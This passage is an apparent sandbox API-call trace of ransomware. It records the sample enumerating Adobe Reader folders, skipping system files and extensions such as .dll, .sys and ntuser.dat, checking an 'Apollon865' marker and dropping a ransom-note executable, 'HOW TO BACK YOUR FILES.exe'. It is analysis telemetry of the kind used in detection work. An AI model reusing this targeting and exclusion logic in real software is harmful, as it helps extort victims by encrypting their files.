	[0057.181] lstrcmpiW (lpString1="tur32.clx", lpString2=".dll") returned 1
	[0057.181] lstrlenW (lpString=".lnk") returned 4
	[0057.181] lstrcmpiW (lpString1="tur32.clx", lpString2=".lnk") returned 1
	[0057.181] lstrlenW (lpString=".ini") returned 4
	[0057.181] lstrcmpiW (lpString1="tur32.clx", lpString2=".ini") returned 1
	[0057.181] lstrlenW (lpString=".sys") returned 4
	[0057.181] lstrcmpiW (lpString1="tur32.clx", lpString2=".sys") returned 1
	[0057.181] lstrlenW (lpString="tur32.clx") returned 9
	[0057.181] lstrcpyW (in: lpString1=0x2d3e600, lpString2="usa.fca" | out: lpString1="usa.fca") returned="usa.fca"
	[0057.181] lstrlenW (lpString="usa.fca") returned 7
	[0057.181] lstrlenW (lpString="Apollon865") returned 10
	[0057.181] lstrlenW (lpString=".dll") returned 4
	[0057.181] lstrcmpiW (lpString1="usa.fca", lpString2=".dll") returned 1
	[0057.181] lstrlenW (lpString=".lnk") returned 4
	[0057.181] lstrcmpiW (lpString1="usa.fca", lpString2=".lnk") returned 1
	[0057.181] lstrlenW (lpString=".ini") returned 4
	[0057.181] lstrcmpiW (lpString1="usa.fca", lpString2=".ini") returned 1
	[0057.181] lstrlenW (lpString=".sys") returned 4
	[0057.181] lstrcmpiW (lpString1="usa.fca", lpString2=".sys") returned 1
	[0057.181] lstrlenW (lpString="usa.fca") returned 7
	[0057.181] lstrcpyW (in: lpString1=0x2d3e600, lpString2="usa03.hsp" | out: lpString1="usa03.hsp") returned="usa03.hsp"
	[0057.181] lstrlenW (lpString="usa03.hsp") returned 9
	[0057.181] lstrlenW (lpString="Apollon865") returned 10
	[0057.181] lstrlenW (lpString=".dll") returned 4
	[0057.181] lstrcmpiW (lpString1="usa03.hsp", lpString2=".dll") returned 1
	[0057.181] lstrlenW (lpString=".lnk") returned 4
	[0057.181] lstrcmpiW (lpString1="usa03.hsp", lpString2=".lnk") returned 1
	[0057.181] lstrlenW (lpString=".ini") returned 4
	[0057.181] lstrcmpiW (lpString1="usa03.hsp", lpString2=".ini") returned 1
	[0057.181] lstrlenW (lpString=".sys") returned 4
	[0057.182] lstrcmpiW (lpString1="usa03.hsp", lpString2=".sys") returned 1
	[0057.182] lstrlenW (lpString="usa03.hsp") returned 9
	[0057.182] lstrcpyW (in: lpString1=0x2d3e600, lpString2="usa03.ths" | out: lpString1="usa03.ths") returned="usa03.ths"
	[0057.182] lstrlenW (lpString="usa03.ths") returned 9
	[0057.182] lstrlenW (lpString="Apollon865") returned 10
	[0057.182] lstrlenW (lpString=".dll") returned 4
	[0057.182] lstrcmpiW (lpString1="usa03.ths", lpString2=".dll") returned 1
	[0057.182] lstrlenW (lpString=".lnk") returned 4
	[0057.182] lstrcmpiW (lpString1="usa03.ths", lpString2=".lnk") returned 1
	[0057.182] lstrlenW (lpString=".ini") returned 4
	[0057.182] lstrcmpiW (lpString1="usa03.ths", lpString2=".ini") returned 1
	[0057.182] lstrlenW (lpString=".sys") returned 4
	[0057.182] lstrcmpiW (lpString1="usa03.ths", lpString2=".sys") returned 1
	[0057.182] lstrlenW (lpString="usa03.ths") returned 9
	[0057.182] lstrcpyW (in: lpString1=0x2d3e600, lpString2="usa37.hyp" | out: lpString1="usa37.hyp") returned="usa37.hyp"
	[0057.182] lstrlenW (lpString="usa37.hyp") returned 9
	[0057.182] lstrlenW (lpString="Apollon865") returned 10
	[0057.182] lstrlenW (lpString=".dll") returned 4
	[0057.182] lstrcmpiW (lpString1="usa37.hyp", lpString2=".dll") returned 1
	[0057.182] lstrlenW (lpString=".lnk") returned 4
	[0057.182] lstrcmpiW (lpString1="usa37.hyp", lpString2=".lnk") returned 1
	[0057.182] lstrlenW (lpString=".ini") returned 4
	[0057.182] lstrcmpiW (lpString1="usa37.hyp", lpString2=".ini") returned 1
	[0057.182] lstrlenW (lpString=".sys") returned 4
	[0057.182] lstrcmpiW (lpString1="usa37.hyp", lpString2=".sys") returned 1
	[0057.182] lstrlenW (lpString="usa37.hyp") returned 9
	[0057.182] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2"
	[0057.183] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0057.183] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0057.183] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned 76
	[0057.183] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2"
	[0057.183] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.183] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.206] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.206] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a2a64b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a2a64b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.207] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.207] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.207] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.207] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcf09c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a2a64b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a2a64b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.214] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.214] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.214] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.214] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.214] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar.txt", cAlternateFileName="DICAC9~1.TXT")) returned 1
	[0057.214] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.214] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="Apollon865.txt.exe") returned 1
	[0057.214] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2=".") returned 1
	[0057.214] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="..") returned 1
	[0057.214] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="windows") returned -1
	[0057.215] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="bootmgr") returned 1
	[0057.215] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="temp") returned -1
	[0057.215] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="pagefile.sys") returned -1
	[0057.215] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="boot") returned 1
	[0057.215] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="ids.txt") returned -1
	[0057.215] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="ntuser.dat") returned -1
	[0057.215] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="perflogs") returned -1
	[0057.215] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2="MSBuild") returned -1
	[0057.215] lstrlenW (lpString="DisplayLanguageNames.ar.txt") returned 27
	[0057.215] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\*") returned 78
	[0057.215] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar.txt" | out: lpString1="DisplayLanguageNames.ar.txt") returned="DisplayLanguageNames.ar.txt"
	[0057.215] lstrlenW (lpString="DisplayLanguageNames.ar.txt") returned 27
	[0057.215] lstrlenW (lpString="Apollon865") returned 10
	[0057.215] lstrcmpiW (lpString1="mes.ar.txt", lpString2="Apollon865") returned 1
	[0057.215] lstrlenW (lpString=".dll") returned 4
	[0057.215] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2=".dll") returned 1
	[0057.215] lstrlenW (lpString=".lnk") returned 4
	[0057.215] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2=".lnk") returned 1
	[0057.215] lstrlenW (lpString=".ini") returned 4
	[0057.215] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2=".ini") returned 1
	[0057.215] lstrlenW (lpString=".sys") returned 4
	[0057.215] lstrcmpiW (lpString1="DisplayLanguageNames.ar.txt", lpString2=".sys") returned 1
	[0057.215] lstrlenW (lpString="DisplayLanguageNames.ar.txt") returned 27
	[0057.215] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_AE.txt" | out: lpString1="DisplayLanguageNames.ar_AE.txt") returned="DisplayLanguageNames.ar_AE.txt"
	[0057.215] lstrlenW (lpString="DisplayLanguageNames.ar_AE.txt") returned 30
	[0057.215] lstrlenW (lpString="Apollon865") returned 10
	[0057.215] lstrcmpiW (lpString1=".ar_AE.txt", lpString2="Apollon865") returned -1
	[0057.215] lstrlenW (lpString=".dll") returned 4
	[0057.215] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2=".dll") returned 1
	[0057.216] lstrlenW (lpString=".lnk") returned 4
	[0057.216] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2=".lnk") returned 1
	[0057.216] lstrlenW (lpString=".ini") returned 4
	[0057.216] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2=".ini") returned 1
	[0057.216] lstrlenW (lpString=".sys") returned 4
	[0057.216] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2=".sys") returned 1
	[0057.216] lstrlenW (lpString="DisplayLanguageNames.ar_AE.txt") returned 30
	[0057.216] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_BH.txt" | out: lpString1="DisplayLanguageNames.ar_BH.txt") returned="DisplayLanguageNames.ar_BH.txt"
	[0057.216] lstrlenW (lpString="DisplayLanguageNames.ar_BH.txt") returned 30
	[0057.216] lstrlenW (lpString="Apollon865") returned 10
	[0057.216] lstrcmpiW (lpString1=".ar_BH.txt", lpString2="Apollon865") returned -1
	[0057.216] lstrlenW (lpString=".dll") returned 4
	[0057.216] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2=".dll") returned 1
	[0057.216] lstrlenW (lpString=".lnk") returned 4
	[0057.216] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2=".lnk") returned 1
	[0057.216] lstrlenW (lpString=".ini") returned 4
	[0057.216] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2=".ini") returned 1
	[0057.216] lstrlenW (lpString=".sys") returned 4
	[0057.216] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2=".sys") returned 1
	[0057.216] lstrlenW (lpString="DisplayLanguageNames.ar_BH.txt") returned 30
	[0057.216] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_DZ.txt" | out: lpString1="DisplayLanguageNames.ar_DZ.txt") returned="DisplayLanguageNames.ar_DZ.txt"
	[0057.216] lstrlenW (lpString="DisplayLanguageNames.ar_DZ.txt") returned 30
	[0057.216] lstrlenW (lpString="Apollon865") returned 10
	[0057.216] lstrcmpiW (lpString1=".ar_DZ.txt", lpString2="Apollon865") returned -1
	[0057.216] lstrlenW (lpString=".dll") returned 4
	[0057.216] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2=".dll") returned 1
	[0057.216] lstrlenW (lpString=".lnk") returned 4
	[0057.216] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2=".lnk") returned 1
	[0057.216] lstrlenW (lpString=".ini") returned 4
	[0057.216] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2=".ini") returned 1
	[0057.217] lstrlenW (lpString=".sys") returned 4
	[0057.217] lstrcmpiW (lpString1="DisplayLanguageNames.ar_DZ.txt", lpString2=".sys") returned 1
	[0057.217] lstrlenW (lpString="DisplayLanguageNames.ar_DZ.txt") returned 30
	[0057.217] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_EG.txt" | out: lpString1="DisplayLanguageNames.ar_EG.txt") returned="DisplayLanguageNames.ar_EG.txt"
	[0057.217] lstrlenW (lpString="DisplayLanguageNames.ar_EG.txt") returned 30
	[0057.217] lstrlenW (lpString="Apollon865") returned 10
	[0057.217] lstrcmpiW (lpString1=".ar_EG.txt", lpString2="Apollon865") returned -1
	[0057.217] lstrlenW (lpString=".dll") returned 4
	[0057.217] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2=".dll") returned 1
	[0057.217] lstrlenW (lpString=".lnk") returned 4
	[0057.217] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2=".lnk") returned 1
	[0057.217] lstrlenW (lpString=".ini") returned 4
	[0057.217] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2=".ini") returned 1
	[0057.217] lstrlenW (lpString=".sys") returned 4
	[0057.217] lstrcmpiW (lpString1="DisplayLanguageNames.ar_EG.txt", lpString2=".sys") returned 1
	[0057.217] lstrlenW (lpString="DisplayLanguageNames.ar_EG.txt") returned 30
	[0057.217] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_IN.txt" | out: lpString1="DisplayLanguageNames.ar_IN.txt") returned="DisplayLanguageNames.ar_IN.txt"
	[0057.217] lstrlenW (lpString="DisplayLanguageNames.ar_IN.txt") returned 30
	[0057.217] lstrlenW (lpString="Apollon865") returned 10
	[0057.217] lstrcmpiW (lpString1=".ar_IN.txt", lpString2="Apollon865") returned -1
	[0057.217] lstrlenW (lpString=".dll") returned 4
	[0057.217] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2=".dll") returned 1
	[0057.217] lstrlenW (lpString=".lnk") returned 4
	[0057.217] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2=".lnk") returned 1
	[0057.217] lstrlenW (lpString=".ini") returned 4
	[0057.217] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2=".ini") returned 1
	[0057.217] lstrlenW (lpString=".sys") returned 4
	[0057.217] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IN.txt", lpString2=".sys") returned 1
	[0057.217] lstrlenW (lpString="DisplayLanguageNames.ar_IN.txt") returned 30
	[0057.218] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_IQ.txt" | out: lpString1="DisplayLanguageNames.ar_IQ.txt") returned="DisplayLanguageNames.ar_IQ.txt"
	[0057.218] lstrlenW (lpString="DisplayLanguageNames.ar_IQ.txt") returned 30
	[0057.218] lstrlenW (lpString="Apollon865") returned 10
	[0057.218] lstrcmpiW (lpString1=".ar_IQ.txt", lpString2="Apollon865") returned -1
	[0057.218] lstrlenW (lpString=".dll") returned 4
	[0057.218] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2=".dll") returned 1
	[0057.218] lstrlenW (lpString=".lnk") returned 4
	[0057.218] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2=".lnk") returned 1
	[0057.218] lstrlenW (lpString=".ini") returned 4
	[0057.218] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2=".ini") returned 1
	[0057.218] lstrlenW (lpString=".sys") returned 4
	[0057.218] lstrcmpiW (lpString1="DisplayLanguageNames.ar_IQ.txt", lpString2=".sys") returned 1
	[0057.218] lstrlenW (lpString="DisplayLanguageNames.ar_IQ.txt") returned 30
	[0057.218] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_JO.txt" | out: lpString1="DisplayLanguageNames.ar_JO.txt") returned="DisplayLanguageNames.ar_JO.txt"
	[0057.218] lstrlenW (lpString="DisplayLanguageNames.ar_JO.txt") returned 30
	[0057.218] lstrlenW (lpString="Apollon865") returned 10
	[0057.218] lstrcmpiW (lpString1=".ar_JO.txt", lpString2="Apollon865") returned -1
	[0057.218] lstrlenW (lpString=".dll") returned 4
	[0057.218] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2=".dll") returned 1
	[0057.218] lstrlenW (lpString=".lnk") returned 4
	[0057.218] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2=".lnk") returned 1
	[0057.218] lstrlenW (lpString=".ini") returned 4
	[0057.218] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2=".ini") returned 1
	[0057.218] lstrlenW (lpString=".sys") returned 4
	[0057.218] lstrcmpiW (lpString1="DisplayLanguageNames.ar_JO.txt", lpString2=".sys") returned 1
	[0057.218] lstrlenW (lpString="DisplayLanguageNames.ar_JO.txt") returned 30
	[0057.218] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_KW.txt" | out: lpString1="DisplayLanguageNames.ar_KW.txt") returned="DisplayLanguageNames.ar_KW.txt"
	[0057.218] lstrlenW (lpString="DisplayLanguageNames.ar_KW.txt") returned 30
	[0057.218] lstrlenW (lpString="Apollon865") returned 10
	[0057.219] lstrcmpiW (lpString1=".ar_KW.txt", lpString2="Apollon865") returned -1
	[0057.219] lstrlenW (lpString=".dll") returned 4
	[0057.219] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2=".dll") returned 1
	[0057.219] lstrlenW (lpString=".lnk") returned 4
	[0057.219] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2=".lnk") returned 1
	[0057.219] lstrlenW (lpString=".ini") returned 4
	[0057.219] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2=".ini") returned 1
	[0057.219] lstrlenW (lpString=".sys") returned 4
	[0057.219] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2=".sys") returned 1
	[0057.219] lstrlenW (lpString="DisplayLanguageNames.ar_KW.txt") returned 30
	[0057.219] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_LB.txt" | out: lpString1="DisplayLanguageNames.ar_LB.txt") returned="DisplayLanguageNames.ar_LB.txt"
	[0057.219] lstrlenW (lpString="DisplayLanguageNames.ar_LB.txt") returned 30
	[0057.219] lstrlenW (lpString="Apollon865") returned 10
	[0057.219] lstrcmpiW (lpString1=".ar_LB.txt", lpString2="Apollon865") returned -1
	[0057.219] lstrlenW (lpString=".dll") returned 4
	[0057.219] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2=".dll") returned 1
	[0057.219] lstrlenW (lpString=".lnk") returned 4
	[0057.219] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2=".lnk") returned 1
	[0057.219] lstrlenW (lpString=".ini") returned 4
	[0057.219] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2=".ini") returned 1
	[0057.219] lstrlenW (lpString=".sys") returned 4
	[0057.219] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2=".sys") returned 1
	[0057.219] lstrlenW (lpString="DisplayLanguageNames.ar_LB.txt") returned 30
	[0057.219] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_LY.txt" | out: lpString1="DisplayLanguageNames.ar_LY.txt") returned="DisplayLanguageNames.ar_LY.txt"
	[0057.219] lstrlenW (lpString="DisplayLanguageNames.ar_LY.txt") returned 30
	[0057.219] lstrlenW (lpString="Apollon865") returned 10
	[0057.219] lstrcmpiW (lpString1=".ar_LY.txt", lpString2="Apollon865") returned -1
	[0057.219] lstrlenW (lpString=".dll") returned 4
	[0057.219] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2=".dll") returned 1
	[0057.220] lstrlenW (lpString=".lnk") returned 4
	[0057.220] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2=".lnk") returned 1
	[0057.220] lstrlenW (lpString=".ini") returned 4
	[0057.220] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2=".ini") returned 1
	[0057.220] lstrlenW (lpString=".sys") returned 4
	[0057.220] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LY.txt", lpString2=".sys") returned 1
	[0057.220] lstrlenW (lpString="DisplayLanguageNames.ar_LY.txt") returned 30
	[0057.220] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_MA.txt" | out: lpString1="DisplayLanguageNames.ar_MA.txt") returned="DisplayLanguageNames.ar_MA.txt"
	[0057.220] lstrlenW (lpString="DisplayLanguageNames.ar_MA.txt") returned 30
	[0057.220] lstrlenW (lpString="Apollon865") returned 10
	[0057.220] lstrcmpiW (lpString1=".ar_MA.txt", lpString2="Apollon865") returned -1
	[0057.220] lstrlenW (lpString=".dll") returned 4
	[0057.220] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2=".dll") returned 1
	[0057.220] lstrlenW (lpString=".lnk") returned 4
	[0057.220] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2=".lnk") returned 1
	[0057.220] lstrlenW (lpString=".ini") returned 4
	[0057.220] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2=".ini") returned 1
	[0057.220] lstrlenW (lpString=".sys") returned 4
	[0057.220] lstrcmpiW (lpString1="DisplayLanguageNames.ar_MA.txt", lpString2=".sys") returned 1
	[0057.220] lstrlenW (lpString="DisplayLanguageNames.ar_MA.txt") returned 30
	[0057.220] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_OM.txt" | out: lpString1="DisplayLanguageNames.ar_OM.txt") returned="DisplayLanguageNames.ar_OM.txt"
	[0057.220] lstrlenW (lpString="DisplayLanguageNames.ar_OM.txt") returned 30
	[0057.220] lstrlenW (lpString="Apollon865") returned 10
	[0057.220] lstrcmpiW (lpString1=".ar_OM.txt", lpString2="Apollon865") returned -1
	[0057.220] lstrlenW (lpString=".dll") returned 4
	[0057.220] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2=".dll") returned 1
	[0057.220] lstrlenW (lpString=".lnk") returned 4
	[0057.220] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2=".lnk") returned 1
	[0057.220] lstrlenW (lpString=".ini") returned 4
	[0057.220] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2=".ini") returned 1
	[0057.221] lstrlenW (lpString=".sys") returned 4
	[0057.221] lstrcmpiW (lpString1="DisplayLanguageNames.ar_OM.txt", lpString2=".sys") returned 1
	[0057.221] lstrlenW (lpString="DisplayLanguageNames.ar_OM.txt") returned 30
	[0057.221] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_QA.txt" | out: lpString1="DisplayLanguageNames.ar_QA.txt") returned="DisplayLanguageNames.ar_QA.txt"
	[0057.221] lstrlenW (lpString="DisplayLanguageNames.ar_QA.txt") returned 30
	[0057.221] lstrlenW (lpString="Apollon865") returned 10
	[0057.221] lstrcmpiW (lpString1=".ar_QA.txt", lpString2="Apollon865") returned -1
	[0057.221] lstrlenW (lpString=".dll") returned 4
	[0057.221] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2=".dll") returned 1
	[0057.221] lstrlenW (lpString=".lnk") returned 4
	[0057.221] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2=".lnk") returned 1
	[0057.221] lstrlenW (lpString=".ini") returned 4
	[0057.221] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2=".ini") returned 1
	[0057.221] lstrlenW (lpString=".sys") returned 4
	[0057.221] lstrcmpiW (lpString1="DisplayLanguageNames.ar_QA.txt", lpString2=".sys") returned 1
	[0057.221] lstrlenW (lpString="DisplayLanguageNames.ar_QA.txt") returned 30
	[0057.221] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_SA.txt" | out: lpString1="DisplayLanguageNames.ar_SA.txt") returned="DisplayLanguageNames.ar_SA.txt"
	[0057.221] lstrlenW (lpString="DisplayLanguageNames.ar_SA.txt") returned 30
	[0057.221] lstrlenW (lpString="Apollon865") returned 10
	[0057.221] lstrcmpiW (lpString1=".ar_SA.txt", lpString2="Apollon865") returned -1
	[0057.221] lstrlenW (lpString=".dll") returned 4
	[0057.221] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2=".dll") returned 1
	[0057.221] lstrlenW (lpString=".lnk") returned 4
	[0057.221] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2=".lnk") returned 1
	[0057.221] lstrlenW (lpString=".ini") returned 4
	[0057.221] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2=".ini") returned 1
	[0057.221] lstrlenW (lpString=".sys") returned 4
	[0057.221] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SA.txt", lpString2=".sys") returned 1
	[0057.221] lstrlenW (lpString="DisplayLanguageNames.ar_SA.txt") returned 30
	[0057.222] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_SD.txt" | out: lpString1="DisplayLanguageNames.ar_SD.txt") returned="DisplayLanguageNames.ar_SD.txt"
	[0057.222] lstrlenW (lpString="DisplayLanguageNames.ar_SD.txt") returned 30
	[0057.222] lstrlenW (lpString="Apollon865") returned 10
	[0057.222] lstrcmpiW (lpString1=".ar_SD.txt", lpString2="Apollon865") returned -1
	[0057.222] lstrlenW (lpString=".dll") returned 4
	[0057.222] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2=".dll") returned 1
	[0057.222] lstrlenW (lpString=".lnk") returned 4
	[0057.222] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2=".lnk") returned 1
	[0057.222] lstrlenW (lpString=".ini") returned 4
	[0057.222] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2=".ini") returned 1
	[0057.222] lstrlenW (lpString=".sys") returned 4
	[0057.222] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2=".sys") returned 1
	[0057.222] lstrlenW (lpString="DisplayLanguageNames.ar_SD.txt") returned 30
	[0057.222] lstrcpyW (in: lpString1=0x2d3e5ea, lpString2="DisplayLanguageNames.ar_SY.txt" | out: lpString1="DisplayLanguageNames.ar_SY.txt") returned="DisplayLanguageNames.ar_SY.txt"
	[0057.222] lstrlenW (lpString="DisplayLanguageNames.ar_SY.txt") returned 30
	[0057.222] lstrlenW (lpString="Apollon865") returned 10
	[0057.222] lstrcmpiW (lpString1=".ar_SY.txt", lpString2="Apollon865") returned -1
